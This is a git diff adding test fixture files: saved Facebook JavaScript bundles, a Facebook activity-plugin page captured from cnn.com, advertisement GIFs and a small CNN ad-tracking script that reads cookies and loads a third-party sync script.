+__d("TimelineStickyHeader",["Arbiter","Bootloader","CSS","DOM","TimelineController","TimelineURI","Vector","ViewportBounds","$","ge","queryThenMutateDOM"],function(a,b,c,d,e,f){var g=b('Arbiter'),h=b('Bootloader'),i=b('CSS'),j=b('DOM'),k=b('TimelineController'),l=b('TimelineURI'),m=b('Vector'),n=b('ViewportBounds'),o=b('$'),p=b('ge'),q=b('queryThenMutateDOM'),r=false,s=false,t,u,v,w,x={VISIBLE:'TimelineStickyHeader/visible',ADJUST_WIDTH:'TimelineStickyHeader/adjustWidth',init:function(y) [...]
+__d("TypeaheadBestName",["TypeaheadUtil","copyProperties"],function(a,b,c,d,e,f){var g=b('TypeaheadUtil'),h=b('copyProperties');function i(j){this._typeahead=j;}h(i.prototype,{_subscription:null,enable:function(){var j=this._typeahead.getView();this._subscription=j.subscribe('beforeRender',function(k,l){var m=l.value;for(var n=0;n<l.results.length;++n){var o=l.results[n];if(o.alternate_names==null)continue;if(g.isQueryMatch(m,o.default_name)){o.text=o.default_name;return;}for(var p=0;p<o [...]
+__d("legacy:BestNameTypeaheadBehavior",["TypeaheadBestName"],function(a,b,c,d){var e=b('TypeaheadBestName');if(!a.TypeaheadBehaviors)a.TypeaheadBehaviors={};a.TypeaheadBehaviors.buildBestAvailableNames=function(f){f.enableBehavior(e);};},3);
+__d("UIIntentionalStreamMessage",[],function(a,b,c,d,e,f){var g={SET_AUTO_INSERT:'UIIntentionalStream/setAutoInsert',UPDATE_STREAM:'UIIntentionalStreamRefresh/updateStream',REFRESH_STREAM:'UIIntentionalStreamRefresh/refreshStream',UPDATE_AUTOREFRESH_CONFIG:'UIIntentionalStream/updateAutoRefreshConfig',UPDATE_HTML_CONTENT:'UIIntentionalStream/updateHtmlContent',UPDATE_LAST_REFRESH_TIME:'UIIntentionalStream/updateLastRefreshTime',INSERT_STORIES:'UIIntentionalStream/updateLastRefreshTime',U [...]
+__d("TinyViewport",["Event","CSS","DOM","debounce"],function(a,b,c,d,e,f){var g=b('Event'),h=b('CSS'),i=b('DOM'),j=b('debounce'),k=j(function(){var l=document.documentElement,m=i.getDocumentScrollElement(),n=l.clientHeight<400||m.clientWidth<m.scrollWidth;h.conditionClass(l,'tinyViewport',n);h.conditionClass(l,'canHaveFixedElements',!n);});k();g.listen(window,'resize',k);});
+__d("AccessibleLayer",["Event","DOM","Focus","copyProperties","tx"],function(a,b,c,d,e,f){var g=b('Event'),h=b('DOM'),i=b('Focus'),j=b('copyProperties'),k=b('tx');function l(m){this._layer=m;}j(l.prototype,{enable:function(){this._afterShowSubscription=this._layer.subscribe('aftershow',this._onAfterShow.bind(this));},disable:function(){this._listener&&this._listener.remove();this._afterShowSubscription.unsubscribe();this._listener=this._afterShowSubscription=null;},_closeListener:functio [...]
+__d("ContextualLayerUpdateOnScroll",["Event","copyProperties"],function(a,b,c,d,e,f){var g=b('Event'),h=b('copyProperties');function i(j){this._layer=j;}h(i.prototype,{_subscriptions:[],enable:function(){this._subscriptions=[this._layer.subscribe('show',this._attachScrollListener.bind(this)),this._layer.subscribe('hide',this._removeScrollListener.bind(this))];},disable:function(){while(this._subscriptions.length)this._subscriptions.pop().unsubscribe();this.detach();},_attachScrollListene [...]
+__d("LayerAutoFocus",["function-extensions","DOMQuery","Focus","TabbableElements","copyProperties"],function(a,b,c,d,e,f){b('function-extensions');var g=b('DOMQuery'),h=b('Focus'),i=b('TabbableElements'),j=b('copyProperties');function k(l){this._layer=l;}j(k.prototype,{_subscription:null,enable:function(){this._subscription=this._layer.subscribe('aftershow',this._focus.bind(this));},disable:function(){this._subscription.unsubscribe();this._subscription=null;},_focus:function(){var l=this [...]
+__d("ModalLayer",["Event","function-extensions","Arbiter","CSS","DataStore","DOM","DOMDimensions","DOMQuery","ScrollAwareDOM","Style","URI","UserAgent","Vector","copyProperties","csx","cx","isAsyncScrollQuery","debounceAcrossTransitions"],function(a,b,c,d,e,f){var g=b('Event');b('function-extensions');var h=b('Arbiter'),i=b('CSS'),j=b('DataStore'),k=b('DOM'),l=b('DOMDimensions'),m=b('DOMQuery'),n=b('ScrollAwareDOM'),o=b('Style'),p=b('URI'),q=b('UserAgent'),r=b('Vector'),s=b('copyProperti [...]
+__d("ContextualDialogArrow",["JSXDOM","CSS","DOM","Locale","Style","Vector","copyProperties","cx"],function(a,b,c,d,e,f){var g=b('JSXDOM'),h=b('CSS'),i=b('DOM'),j=b('Locale'),k=b('Style'),l=b('Vector'),m=b('copyProperties'),n=b('cx'),o=15,p=16,q={bottom:"_a5e",top:"_a5f",right:"_a5g",left:"_a5h"},r={above:'bottom',below:'top',left:'right',right:'left'};function s(t){this._layer=t;}m(s.prototype,{_subscription:null,_arrow:null,enable:function(){this._subscription=this._layer.subscribe(['a [...]
+__d("ContextualDialogFitInViewport",["Event","ContextualDialogArrow","ContextualLayerDimensions","Style","Vector","copyProperties","throttle"],function(a,b,c,d,e,f){var g=b('Event'),h=b('ContextualDialogArrow'),i=b('ContextualLayerDimensions'),j=b('Style'),k=b('Vector'),l=b('copyProperties'),m=b('throttle'),n=h.OFFSET,o=h.LENGTH,p=n+o;function q(r){this._layer=r;this._listeners=[];}l(q.prototype,{_subscription:null,_minimumTop:null,enable:function(){this._subscription=this._layer.subscri [...]
+__d("ContextualDialog",["AccessibleLayer","Class","ContextualDialogArrow","ContextualDialogFitInViewport","ContextualLayer","CSS","DOM","LayerAutoFocus","LayerButtons","LayerHideOnTransition","LayerFormHooks","LayerMouseHooks","Style","copyProperties","csx","cx"],function(a,b,c,d,e,f){var g=b('AccessibleLayer'),h=b('Class'),i=b('ContextualDialogArrow'),j=b('ContextualDialogFitInViewport'),k=b('ContextualLayer'),l=b('CSS'),m=b('DOM'),n=b('LayerAutoFocus'),o=b('LayerButtons'),p=b('LayerHid [...]
+__d("DialogX",["Event","function-extensions","Arbiter","ArbiterMixin","Class","ContextualThing","DOM","Layer","LayerAutoFocus","LayerButtons","LayerFormHooks","LayerTabIsolation","ModalLayer","Style","UserAgent","Vector","copyProperties","cx","debounce","getOverlayZIndex"],function(a,b,c,d,e,f){var g=b('Event');b('function-extensions');var h=b('Arbiter'),i=b('ArbiterMixin'),j=b('Class'),k=b('ContextualThing'),l=b('DOM'),m=b('Layer'),n=b('LayerAutoFocus'),o=b('LayerButtons'),p=b('LayerFor [...]
+__d("AsyncDialog",["AsyncRequest","Bootloader","CSS","DialogX","DOM","Env","Parent","URI","copyProperties","cx","emptyFunction","tx"],function(a,b,c,d,e,f){var g=b('AsyncRequest'),h=b('Bootloader'),i=b('CSS'),j=b('DialogX'),k=b('DOM'),l=b('Env'),m=b('Parent'),n=b('URI'),o=b('copyProperties'),p=b('cx'),q=b('emptyFunction'),r=b('tx'),s=new j({width:465},k.create('div',{className:"_r"},"Loading...")),t=1,u=[],v=0;function w(){v--;if(!v)s.hide();}function x(z,aa){var ba=t++;u[ba]=aa;o(z.getD [...]
+__d("Hovercard",["JSXDOM","Event","function-extensions","AccessibleLayer","Arbiter","AsyncRequest","AsyncSignal","ContextualDialog","ContextualDialogArrow","ContextualThing","DOM","LayerAutoFocus","Parent","Rect","Style","UserAgent","Vector","clickRefAction","cx","emptyFunction","tx","userAction"],function(a,b,c,d,e,f){var g=b('JSXDOM'),h=b('Event');b('function-extensions');var i=b('AccessibleLayer'),j=b('Arbiter'),k=b('AsyncRequest'),l=b('AsyncSignal'),m=b('ContextualDialog'),n=b('Conte [...]
+__d("legacy:Toggler",["Toggler"],function(a,b,c,d){a.Toggler=b('Toggler');},3);
+__d("StickyPlaceholderInput",["Event","CSS","DOM","Input","Parent","emptyFunction"],function(a,b,c,d,e,f){var g=b('Event'),h=b('CSS'),i=b('DOM'),j=b('Input'),k=b('Parent'),l=b('emptyFunction');function m(q){return k.byClass(q,'uiStickyPlaceholderInput');}function n(q){return i.scry(q,'.placeholder')[0];}function o(q){q=q||window.event;var r=q.target||q.srcElement;if(i.isNodeOfType(r,['input','textarea'])){var s=m(r);if(s){var t=q.type;(function(){if((t==='keydown'||t==='paste')&&r.value. [...]
+__d("UIForm",["Event","ArbiterMixin","BehaviorsMixin","DOM","Form","Run","areObjectsEqual","copyProperties"],function(a,b,c,d,e,f){var g=b('Event'),h=b('ArbiterMixin'),i=b('BehaviorsMixin'),j=b('DOM'),k=b('Form'),l=b('Run'),m=b('areObjectsEqual'),n=b('copyProperties');function o(p,q,r,s){this._root=p;this.controller=p;this._message=q;l.onAfterLoad(function(){this._originalState=k.serialize(this._root);}.bind(this));this._forceDirty=r;this._submitted=false;g.listen(this._root,'submit',thi [...]
+__d("ScrollableArea",["array-extensions","Event","throttle","Animation","ArbiterMixin","CSS","DataStore","DOM","Parent","Run","SimpleDrag","Style","UserAgent","Vector","copyProperties"],function(a,b,c,d,e,f){b('array-extensions');var g=b('Event'),h=b('throttle'),i=b('Animation'),j=b('ArbiterMixin'),k=b('CSS'),l=b('DataStore'),m=b('DOM'),n=b('Parent'),o=b('Run'),p=b('SimpleDrag'),q=b('Style'),r=b('UserAgent'),s=b('Vector'),t=b('copyProperties'),u=12;function v(w,x){if(!w)return;x=x||{};th [...]
+__d("legacy:ContextualDialogX",["ContextualDialogX"],function(a,b,c,d){a.ContextualDialogX=b('ContextualDialogX');},3);
+__d("legacy:Tooltip",["Tooltip"],function(a,b,c,d){a.Tooltip=b('Tooltip');},3);
+__d("CompactTypeaheadRenderer",["DOM"],function(a,b,c,d,e,f){var g=b('DOM');function h(i,j){var k=[],l=i.photo;if(l){if(l instanceof Array){var m=[g.create('span',{className:'splitpic leftpic'},[g.create('img',{alt:'',src:l[0]})]),g.create('span',{className:'splitpic'+(l[2]?' toppic':'')},[g.create('img',{alt:'',src:l[1]})])];if(l[2])m.push(g.create('span',{className:'splitpic bottompic'},[g.create('img',{alt:'',src:l[2]})]));l=g.create('span',{className:'splitpics clearfix'},m);}else l= [...]
\ No newline at end of file
diff --git a/src/test/resources/s/cf/activity.htm b/src/test/resources/s/cf/activity.htm
new file mode 100644
index 0000000..b7819f8
--- /dev/null
+++ b/src/test/resources/s/cf/activity.htm
@@ -0,0 +1,23 @@
+<!DOCTYPE html>
+<!-- saved from url=(0179)http://www.facebook.com/plugins/activity.php?site=cnn.com&action&width=210&height=190&header=false&colorscheme=light&linktarget=_blank&border_color=white&font&recommendations=true -->
+<html lang="en" id="facebook" class=""><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta charset="utf-8"><script>function envFlush(a){function b(c){for(var d in a)c[d]=a[d];}if(window.requireLazy){requireLazy(['Env'],b);}else{Env=window.Env||{};b(Env);}}envFlush({"user":"0","locale":"en_US","method":"GET","svn_rev":719720,"tier":"","vip":"173.252.100.27","static_base":"http:\/\/static.ak.fbcdn.net\/","www_base":"http:\/\/www.facebook.com\/","rep_lag":2,"fb_dt [...]
+ <link rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/v2/yz/r/Hwq5_AIg0hW.css">
+ <link rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/v2/yY/r/yzmyNWPZYqQ.css">
+
+ <script src="eSRVo56oY0y.js"></script>
+ <script>window.Bootloader && Bootloader.done(["oJ0pi"]);</script><script>new (require("ServerJS"))().handle({"require":[["lowerDomain"],["QuicklingPrelude"],["Primer"]]})</script><script src="ykTYXgXFmtV.js" async=""></script><script src="E-6Q2pI-TPI.js" async=""></script><script src="qhgKCsbyG91.js" async=""></script><script src="Cmazr8ysNP0.js" async=""></script><script src="CKg2om0CN5k.js" async=""></script></head><body class="transparent_widget webkit chrome win Locale_en_US"><div [...]
+<script>Bootloader.setResourceMap({"1LkPS":{"type":"css","permanent":1,"src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/v2\/yz\/r\/Hwq5_AIg0hW.css"},"6Lwe3":{"type":"css","permanent":1,"src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/v2\/yY\/r\/yzmyNWPZYqQ.css"},"X\/Fq6":{"type":"css","src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/v2\/y6\/r\/YlbIHaln_Rk.css"},"+EmSC":{"type":"css","permanent":1,"src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/v2\/yB\/r\/sgN7_g4fRuU.css"},"VDymv":{"type":"css", [...]
+Bootloader.enableBootload({"AsyncDOM":{"resources":["UNGn6","as4PG"],"module":true},"ConfirmationDialog":{"resources":["UNGn6","dAkPD","oE4Do"],"module":true},"Dialog":{"resources":["UNGn6","dAkPD","1LkPS"],"module":true},"IframeShim":{"resources":["UNGn6","dAkPD","MqSmz"],"module":true},"ErrorSignal":{"resources":["UNGn6","cNca2"],"module":true},"Event":{"resources":["UNGn6"],"module":true},"AsyncDialog":{"resources":["UNGn6","dAkPD","1LkPS"],"module":true},"FbdDialogProvider":{"resourc [...]
+<script>require("InitialJSLoader").loadOnDOMContentReady(["UNGn6","dAkPD","0Z6zH","1HXb5","Pvs7y"]);</script>
+<script>
+Bootloader.configurePage(["1LkPS","6Lwe3"]);
+Bootloader.done(["f2MGw","VS9lU","jDr+c"]);
+
+
+require("InitialJSLoader").handleServerJS({"define":[["BanzaiConfig",[],{"MAX_SIZE":10000,"MAX_WAIT":60000,"COMPRESSION_THRESHOLD":800,"gks":{"cavalry":true,"jslogger":true,"miny_compression":true,"notifications":true,"time_spent":true,"time_spent_debug":true,"useraction":true}}]],"require":[["Intl","setPhonologicalRules",[],[{"meta":{"\/_B\/":"([.,!?\\s]|^)","\/_E\/":"([.,!?\\s]|$)"},"patterns":{"\/\u0001(.*)('|')s\u0001(?:'|')s(.*)\/":"\u0001$1$2s\u0001$3","\/_\u0001([^\u0001 [...]
+
+onloadRegister_DEPRECATED(function (){new ActivityWidget({"sOverflowContainerSelector":"#u_0_0","sOverflowItemsSelector":"div.fbActivity","sStreamContainerSelector":"#u_0_0 div.fbRecommendationWidgetContent"}, "u_0_0");});
+onloadRegister_DEPRECATED(function (){new RecommendationsWidget({"sOverflowContainerSelector":"#u_0_0","sOverflowItemsSelector":"div.fbRecommendation","sStreamContainerSelector":"#u_0_0 div.fbRecommendationWidgetContent"}, "u_0_0");});
+onafterloadRegister_DEPRECATED(function (){Bootloader.loadComponents(["detect-broken-proxy-cache"], function(){ detect_broken_proxy_cache("0", "c_user") });});
+onafterloadRegister_DEPRECATED(function (){Bootloader.loadComponents(["link-rel-preload"], function(){ link_rel_preload() });});
+</script><div style="position: absolute; width: 1px; height: 1px; overflow: hidden; top: 0px;"></div></body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/cf/advertisement(1).gif b/src/test/resources/s/cf/advertisement(1).gif
new file mode 100644
index 0000000..40501c8
Binary files /dev/null and b/src/test/resources/s/cf/advertisement(1).gif differ
diff --git a/src/test/resources/s/cf/advertisement.gif b/src/test/resources/s/cf/advertisement.gif
new file mode 100644
index 0000000..40501c8
Binary files /dev/null and b/src/test/resources/s/cf/advertisement.gif differ
diff --git a/src/test/resources/s/cf/ais.js b/src/test/resources/s/cf/ais.js
new file mode 100644
index 0000000..77cf1a5
--- /dev/null
+++ b/src/test/resources/s/cf/ais.js
@@ -0,0 +1,33 @@
+var cnnad_transactionID = null;
+function cnnad_getTransactionID() {
+ if (cnnad_transactionID == null) {
+ cnnad_transactionID = "";
+ cnnad_transactionID = Math.floor(Math.random()*9007199254740992);
+ }
+ return cnnad_transactionID;
+}
+function cnnad_readCookie( name ) {
+ if ( document.cookie == '' ) { // there is no cookie, so go no further
+ return null;
+ } else { // there is a cookie
+ var ca = document.cookie.split(';');
+ var nameEQ = name + "=";
+ for(var i=0; i < ca.length; i++) {
+ var c = ca[i];
+ while (c.charAt(0)==' ') c = c.substring(1, c.length); //delete spaces
+ if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length);
+ }
+ return null;
+ }
+}
+
+function cnnad_haveCookie(a){return document.cookie&&(-1<document.cookie.indexOf("; "+a+"=")||document.cookie.indexOf(a+"=")==0);}
+
+function cnnad_ugsync() {
+ if (!cnnad_haveCookie('ugs')) {
+ document.write('<scr'+'ipt src="http://www.ugdt'+'urner.com/xd.sjs"></scr'+'ipt>');
+ }
+}
+
+cnnad_getTransactionID();
+cnnad_ugsync();
diff --git a/src/test/resources/s/cf/all.js b/src/test/resources/s/cf/all.js
new file mode 100644
index 0000000..e60262e
--- /dev/null
+++ b/src/test/resources/s/cf/all.js
@@ -0,0 +1,153 @@
+/*1359095289,182009131,JIT Construction: v719720,en_US*/
+
+/**
+ * Copyright Facebook Inc.
+ *
+ * Licensed under the Apache License, Version 2.0
+ * http://www.apache.org/licenses/LICENSE-2.0
+ */
+try {window.FB || (function(window) {
+var self = window, document = window.document;
+var setTimeout = window.setTimeout, setInterval = window.setInterval;var __DEV__ = 0;
+function emptyFunction() {};
+
+var require,__d;(function(a){var b={},c={},d=['global','require','requireDynamic','requireLazy','module','exports'];require=function(e,f){if(c.hasOwnProperty(e))return c[e];if(!b.hasOwnProperty(e)){if(f)return null;throw new Error('Module '+e+' has not been defined');}var g=b[e],h=g.deps,i=h.length,j,k=[];for(var l=0;l<i;l++){switch(h[l]){case 'module':j=g;break;case 'exports':j=g.exports;break;case 'global':j=a;break;case 'require':j=require;break;case 'requireDynamic':j=require;break;c [...]
+var ES5 = function(){
+__d("ES5ArrayPrototype",[],function(a,b,c,d,e,f){var g={};g.map=function(h,i){if(typeof h!='function')throw new TypeError();var j,k=this.length,l=new Array(k);for(j=0;j<k;++j)if(j in this)l[j]=h.call(i,this[j],j,this);return l;};g.forEach=function(h,i){g.map.call(this,h,i);};g.filter=function(h,i){if(typeof h!='function')throw new TypeError();var j,k,l=this.length,m=[];for(j=0;j<l;++j)if(j in this){k=this[j];if(h.call(i,k,j,this))m.push(k);}return m;};g.every=function(h,i){if(typeof h!=' [...]
+__d("ES5FunctionPrototype",[],function(a,b,c,d,e,f){var g={};g.bind=function(h){if(typeof this!='function')throw new TypeError('Bind must be called on a function');var i=this,j=Array.prototype.slice.call(arguments,1);function k(){return i.apply(h,j.concat(Array.prototype.slice.call(arguments)));}k.displayName='bound:'+(i.displayName||i.name||'(?)');k.toString=function l(){return 'bound: '+i;};return k;};e.exports=g;});
+__d("ES5StringPrototype",[],function(a,b,c,d,e,f){var g={};g.trim=function(){if(this==null)throw new TypeError('String.prototype.trim called on null or undefined');return String.prototype.replace.call(this,/^\s+|\s+$/g,'');};e.exports=g;});
+__d("ES5Array",[],function(a,b,c,d,e,f){var g={};g.isArray=function(h){return Object.prototype.toString.call(h)=='[object Array]';};e.exports=g;});
+__d("ES5Object",[],function(a,b,c,d,e,f){var g={};g.create=function(h){var i=typeof h;if(i!='object'&&i!='function')throw new TypeError('Object prototype may only be a Object or null');var j=new Function();j.prototype=h;return new j();};g.keys=function(h){var i=typeof h;if(i!='object'&&i!='function'||h===null)throw new TypeError('Object.keys called on non-object');var j=[];for(var k in h)if(Object.prototype.hasOwnProperty.call(h,k))j.push(k);var l=!({toString:true}).propertyIsEnumerable( [...]
+__d("ES5Date",[],function(a,b,c,d,e,f){var g={};g.now=function(){return new Date().getTime();};e.exports=g;});
+/**
+ * @providesModule JSON3
+ * @option preserve-header
+ *
+ *! JSON v3.2.3 | http://bestiejs.github.com/json3 | Copyright 2012, Kit Cambridge | http://kit.mit-license.org
+ */__d("JSON3",[],function(a,b,c,d,e,f){(function(){var g={}.toString,h,i,j,k=e.exports={},l='{"A":[1,true,false,null,"\\u0000\\b\\n\\f\\r\\t"]}',m,n,o,p,q,r,s,t,u,v,w,x,y,z,aa,ba=new Date(-3509827334573292),ca,da,ea;try{ba=ba.getUTCFullYear()==-109252&&ba.getUTCMonth()===0&&ba.getUTCDate()==1&&ba.getUTCHours()==10&&ba.getUTCMinutes()==37&&ba.getUTCSeconds()==6&&ba.getUTCMilliseconds()==708;}catch(fa){}if(!ba){ca=Math.floor;da=[0,31,59,90,120,151,181,212,243,273,304,334];ea=function(ga,h [...]
+__d("ES5",["ES5ArrayPrototype","ES5FunctionPrototype","ES5StringPrototype","ES5Array","ES5Object","ES5Date","JSON3"],function(a,b,c,d,e,f){var g=b('ES5ArrayPrototype'),h=b('ES5FunctionPrototype'),i=b('ES5StringPrototype'),j=b('ES5Array'),k=b('ES5Object'),l=b('ES5Date'),m=b('JSON3'),n=Array.prototype.slice,o=Object.prototype.toString,p={'JSON.stringify':m.stringify,'JSON.parse':m.parse},q={array:g,'function':h,string:i,Object:k,Array:j,Date:l};for(var r in q){if(!q.hasOwnProperty(r))conti [...]
+return ES5.apply(null, arguments);
+};
+
+__d("sdk.RuntimeConfig",[],{"locale":"en_US","rtl":false});__d("UrlMapConfig",[],{"www":"www.facebook.com","m":"m.facebook.com","connect":"connect.facebook.net","api_https":"api.facebook.com","api_read_https":"api-read.facebook.com","graph_https":"graph.facebook.com","fbcdn_http":"static.ak.fbcdn.net","fbcdn_https":"fbstatic-a.akamaihd.net","cdn_http":"static.ak.facebook.com","cdn_https":"s-static.ak.facebook.com"});__d("XDConfig",[],{"XdUrl":"connect\/xd_arbiter.php?version=18","Flash": [...]
+__d("QueryString",[],function(a,b,c,d,e,f){function g(k){var l=[];ES5(ES5('Object','keys',false,k),'forEach',true,function(m){var n=k[m];if(typeof n==='undefined')return;if(n===null){l.push(m);return;}l.push(encodeURIComponent(m)+'='+encodeURIComponent(n));});return l.join('&');}function h(k,l){var m={};if(k==='')return m;var n=k.split('&');for(var o=0;o<n.length;o++){var p=n[o].split('=',2),q=decodeURIComponent(p[0]);if(l&&m.hasOwnProperty(q))throw new URIError('Duplicate key: '+q);m[q] [...]
+__d("copyProperties",[],function(a,b,c,d,e,f){function g(h,i,j,k,l,m,n){h=h||{};var o=[i,j,k,l,m],p=0,q;while(o[p]){q=o[p++];for(var r in q)h[r]=q[r];if(q.hasOwnProperty&&q.hasOwnProperty('toString')&&(typeof q.toString!='undefined')&&(h.toString!==q.toString))h.toString=q.toString;}return h;}e.exports=g;});
+__d("ManagedError",[],function(a,b,c,d,e,f){function g(h,i){Error.prototype.constructor.call(this,h);this.message=h;this.innerError=i;}g.prototype=new Error();g.prototype.constructor=g;e.exports=g;});
+__d("AssertionError",["ManagedError"],function(a,b,c,d,e,f){var g=b('ManagedError');function h(i){g.prototype.constructor.apply(this,arguments);}h.prototype=new g();h.prototype.constructor=h;e.exports=h;});
+__d("sprintf",[],function(a,b,c,d,e,f){function g(h,i){i=Array.prototype.slice.call(arguments,1);var j=0;return h.replace(/%s/g,function(k){return i[j++];});}e.exports=g;});
+__d("Assert",["AssertionError","sprintf"],function(a,b,c,d,e,f){var g=b('AssertionError'),h=b('sprintf');function i(n,o){if(!n)throw new g(o);return n;}function j(n,o,p){var q;if(o===undefined){q='undefined';}else if(o===null){q='null';}else{var r=Object.prototype.toString.call(o);q=/\s(\w*)/.exec(r)[1].toLowerCase();}i(ES5(n,'indexOf',true,q)!==-1,p||h('Expression is of type %s, not %s',q,n));return o;}function k(n,o,p){i(o instanceof n,p||'Expression not instance of type');return o;}fu [...]
+__d("Type",["copyProperties","Assert"],function(a,b,c,d,e,f){var g=b('copyProperties'),h=b('Assert');function i(){var m=this.__mixins;if(m)for(var n=0;n<m.length;n++)m[n].apply(this,arguments);}function j(m,n){if(n instanceof m)return true;if(n instanceof i)for(var o=0;o<n.__mixins.length;o++)if(n.__mixins[o]==m)return true;return false;}function k(m,n){var o=m.prototype;if(!ES5('Array','isArray',false,n))n=[n];for(var p=0;p<n.length;p++){var q=n[p];if(typeof q=='function'){o.__mixins.pu [...]
+__d("ObservableMixin",[],function(a,b,c,d,e,f){function g(){this.__observableEvents={};}g.prototype={inform:function(h){var i=Array.prototype.slice.call(arguments,1),j=Array.prototype.slice.call(this.getSubscribers(h));for(var k=0;k<j.length;k++){if(j[k]===null)continue;try{j[k].apply(this,i);}catch(l){setTimeout(function(){throw l;},0);}}return this;},getSubscribers:function(h){return this.__observableEvents[h]||(this.__observableEvents[h]=[]);},clearSubscribers:function(h){if(h)this.__ [...]
+__d("sdk.Model",["Type","ObservableMixin"],function(a,b,c,d,e,f){var g=b('Type'),h=b('ObservableMixin'),i=g.extend({constructor:function(j){this.parent();var k={},l=this;ES5(ES5('Object','keys',false,j),'forEach',true,function(m){k[m]=j[m];l['set'+m]=function(n){if(n===k[m])return this;k[m]=n;l.inform(m+'.change',n);return l;};l['get'+m]=function(){return k[m];};});}},h);e.exports=i;});
+__d("sdk.Runtime",["sdk.Model","copyProperties","sdk.RuntimeConfig"],function(a,b,c,d,e,f){var g=b('sdk.Model'),h=c('sdk.RuntimeConfig'),i=b('copyProperties'),j={UNKNOWN:0,PAGETAB:1,CANVAS:2,PLATFORM:4},k=new g({AccessToken:'',ClientID:'',Environment:j.UNKNOWN,Initialized:false,Locale:h.locale,LoginStatus:undefined,Rtl:h.rtl,Scope:undefined,Secure:undefined,UseCookie:false,UserID:''});i(k,{ENVIRONMENTS:j,isEnvironment:function(l){var m=this.getEnvironment();return (l|m)===m;}});(function [...]
+__d("sdk.Cookie",["QueryString","sdk.Runtime"],function(a,b,c,d,e,f){var g=b('QueryString'),h=b('sdk.Runtime'),i=null;function j(m,n,o){m=m+h.getClientID();var p=i&&i!=='.';if(p){document.cookie=m+'=; expires=Wed, 04 Feb 2004 08:00:00 GMT;';document.cookie=m+'=; expires=Wed, 04 Feb 2004 08:00:00 GMT;'+'domain='+location.hostname+';';}var q=new Date(o).toGMTString();document.cookie=m+'='+n+(n&&o===0?'':'; expires='+q)+'; path=/'+(p?'; domain='+i:'');}function k(m){m=m+h.getClientID();var [...]
+__d("guid",[],function(a,b,c,d,e,f){function g(){return 'f'+(Math.random()*(1<<30)).toString(16).replace('.','');}e.exports=g;});
+__d("hasNamePropertyBug",["guid"],function(a,b,c,d,e,f){var g=b('guid'),h;function i(){var k=document.createElement("form"),l=k.appendChild(document.createElement("input"));l.name=g();h=l!==k.elements[l.name];k=l=null;return h;}function j(){return typeof h==='undefined'?i():h;}e.exports=j;});
+__d("wrapFunction",[],function(a,b,c,d,e,f){var g={};function h(i,j,k){j=j||'default';return function(){var l=j in g?g[j](i,k):i;return l.apply(this,arguments);};}h.setWrapper=function(i,j){j=j||'default';g[j]=i;};e.exports=h;});
+__d("DOMEventListener",["wrapFunction"],function(a,b,c,d,e,f){var g=b('wrapFunction'),h,i;if(window.addEventListener){h=function(k,l,m){m.wrapper=g(m,'entry',k+':'+l);k.addEventListener(l,m.wrapper,false);};i=function(k,l,m){k.removeEventListener(l,m.wrapper,false);};}else if(window.attachEvent){h=function(k,l,m){m.wrapper=g(m,'entry',k+':'+l);k.attachEvent('on'+l,m.wrapper);};i=function(k,l,m){k.detachEvent('on'+l,m.wrapper);};}var j={add:function(k,l,m){h(k,l,m);return {remove:function [...]
+__d("sdk.createIframe",["copyProperties","guid","hasNamePropertyBug","DOMEventListener"],function(a,b,c,d,e,f){var g=b('copyProperties'),h=b('guid'),i=b('hasNamePropertyBug'),j=b('DOMEventListener');function k(l){l=g({},l);var m,n=l.name||h(),o=l.root,p=l.style||{border:'none'},q=l.url,r=l.onload;if(i()){m=document.createElement('<iframe name="'+n+'"/>');}else{m=document.createElement("iframe");m.name=n;}delete l.style;delete l.name;delete l.url;delete l.root;delete l.onload;var s=g({fra [...]
+__d("DOMWrapper",[],function(a,b,c,d,e,f){var g,h,i={setRoot:function(j){g=j;},getRoot:function(){return g||document.body;},setWindow:function(j){h=j;},getWindow:function(){return h||self;}};e.exports=i;});
+__d("UserAgent",[],function(a,b,c,d,e,f){var g=false,h,i,j,k,l,m,n,o,p,q,r,s,t,u;function v(){if(g)return;g=true;var x=navigator.userAgent,y=/(?:MSIE.(\d+\.\d+))|(?:(?:Firefox|GranParadiso|Iceweasel).(\d+\.\d+))|(?:Opera(?:.+Version.|.)(\d+\.\d+))|(?:AppleWebKit.(\d+(?:\.\d+)?))/.exec(x),z=/(Mac OS X)|(Windows)|(Linux)/.exec(x);r=/\b(iPhone|iP[ao]d)/.exec(x);s=/\b(iP[ao]d)/.exec(x);p=/Android/i.exec(x);t=/FBAN\/\w+;/i.exec(x);u=/Mobile/i.exec(x);q=!!(/Win64/.exec(x));if(y){h=y[1]?parseFl [...]
+__d("sdk.getContextType",["UserAgent","sdk.Runtime"],function(a,b,c,d,e,f){var g=b('UserAgent'),h=b('sdk.Runtime');function i(){if(g.nativeApp())return 3;if(g.mobile())return 2;if(h.isEnvironment(h.ENVIRONMENTS.CANVAS))return 5;return 1;}e.exports=i;});
+__d("Log",["sprintf"],function(a,b,c,d,e,f){var g=b('sprintf'),h={DEBUG:3,INFO:2,WARNING:1,ERROR:0};function i(k,l){var m=Array.prototype.slice.call(arguments,2),n=g.apply(null,m),o=window.console;if(o&&j.level>=k)o[l in o?l:'log'](n);}var j={level:-1,Level:h,debug:ES5(i,'bind',true,null,h.DEBUG,'debug'),info:ES5(i,'bind',true,null,h.INFO,'debug'),warn:ES5(i,'bind',true,null,h.WARNING,'debug'),error:ES5(i,'bind',true,null,h.ERROR,'debug')};e.exports=j;});
+__d("Base64",[],function(a,b,c,d,e,f){var g='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';function h(l){l=(l.charCodeAt(0)<<16)|(l.charCodeAt(1)<<8)|l.charCodeAt(2);return String.fromCharCode(g.charCodeAt(l>>>18),g.charCodeAt((l>>>12)&63),g.charCodeAt((l>>>6)&63),g.charCodeAt(l&63));}var i='>___?456789:;<=_______'+'\0\1\2\3\4\5\6\7\b\t\n\13\f\r\16\17\20\21\22\23\24\25\26\27\30\31'+'______\32\33\34\35\36\37 !"#$%&\'()*+,-./0123';function j(l){l=(i.charCodeAt(l.charCod [...]
